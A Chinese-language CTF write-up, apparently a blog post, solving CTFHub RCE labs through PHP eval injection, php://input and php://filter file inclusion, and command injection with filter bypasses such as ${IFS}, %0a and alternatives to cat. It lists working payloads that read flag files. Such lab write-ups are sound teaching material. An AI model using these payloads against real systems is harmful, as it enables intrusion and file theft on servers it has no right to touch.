web基础之RCE

简介:RCE称为远程代码执行漏洞;是互联网的一种安全漏洞;攻击者可以直接向后台服务器远程注入操作系统命令;从而操控后台系统;也是CTF比较常考的一个方面

1、eval执行

(1)分析后端代码:
if (isset($_REQUEST['cmd']))检查是否从存在cmd参数;eval($_REQUEST["cmd"])如果cmd参数存在的话,则eval()函数会将用户传递进来的参数当作php代码执行!
 

image


(2)查看网站当前目录

/?cmd=system(“ls”); 

页面回显出来了index.php信息;并没有有用的文件;我们看一下上一级目录有啥文件吧;输入

/?cmd=system(“ls /”); 

好像找到了有关flag的信息
 

image


查看文件的信息

?cmd=system("cat /flag_26015"); 

拿到flag

image

2、文件包含

文件包含
(1)分析后端代码
根据后端代码;首先输入?file=shell.txt;发现出现了eval函数;和上面不同的是通过post提交数据的;需要用hackbar插件或者通过bp抓包重发修改信息
(2)查看当前的目录文件(发现了index.php;shell.txt)
 

image


查看上一级目录的信息(看到etc flag文件)

ctfhub=system("ls /") 

image


查看flag;输入

ctfhub=system("cat /flag"); 

image

php://input伪协议
(1)php://input
php://input用于执行php代码;条件是allow_url_include是On;查看phpinfo文件;查看发现满足条件,直接利用!
(2)使用bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>点击send看到上一级目录有flag信息

image

修改为<?php system("cat /flag_27289");?>拿到flag

image

远程包含
(1)发现有phpinfo文件;进去看看;可以进行远程包含(allow_url_include=ON);可以使用php://input执行php函数
 

image


(2)利用hackbar插件(这里用不了;因为提交数据的方式是GET;只能用bp抓包重放修改信息
过程:url+?file=php://input;点击抓包;发送到repeater模块;然后修改GET为post;增加<?php system("ls /");?>;点击send;获得上一级目录信息;看到flag信息
 

image


修改playload:<?php system("cat /flag");?>;拿下flag

image

读取源代码
(1)这是尝试了一下php://input;发现漏洞点不在这;那可能就是php://filter;php://filter用于读取源码

image

(2)
题目提示:flag在 /flag当中;所以直接构造?file=php://filter/resource=../../../flag

http://URL/?file=php://filter/resource=../../../flag 

image

image

3、命令注入

先导知识:

image

命令注入无过滤
(1)明确题目意思;查看当前目录下的文件

127.0.0.1|ls 

image

使用cat 命令查看207971175014811.php文件;发现打不开;f12直接查看源码直接拿到flag;大佬的另一种方法就是使用base64解密

127.0.0.1|cat 14430616024597.php|base64 

image


base64解密拿到flag
 

image


过滤cat
(1)cat命令被过滤了,在linux当中查看文件内容的命令有很多;比如 more head tail less;
eg:
cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行
输入:
127.0.0.1& more flag_90501846017901.php|base64
 


解密拿到flag
 


过滤空格
分析后端代码发现对空格进行了过滤;使用<;ifs ${IFS} %0d 等等代替空格(参考web渗透—RCE)
127.0.0.1&cat<flag_20135747217897.php|base64
过滤目录分隔符

输入127.0.0.1;ls,发现了flag_is_here目录;然后进入这个目录;查看这个目录包含的文件;输入127.0.0.1;cd flag_is_here;ls;发现了flag_4635141399483.php;输入:127.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64,拿到flag;或者直接f12
 


过滤运算符
发现用不了运算符号了;那就使用;;然后输入127.0.0.1;cat flag_29492699725561.php直接f12查看源码;或者输入
127.0.0.1 ; base64 flag_29492699725561.php直接得到flag
 


综合过滤练习
自行寻找替换;很简单!为减少篇幅,此处不做过多赘述!
(1)查看服务器下的文件
&& <==> || <==> %0a <==> %0d
?ip=127.0.0.1%0als
 

image


空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><
(2)查看存在flag文件目录下的文件

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als 

image


(3)查看flag文件的内容

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php 

image

  • 16
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值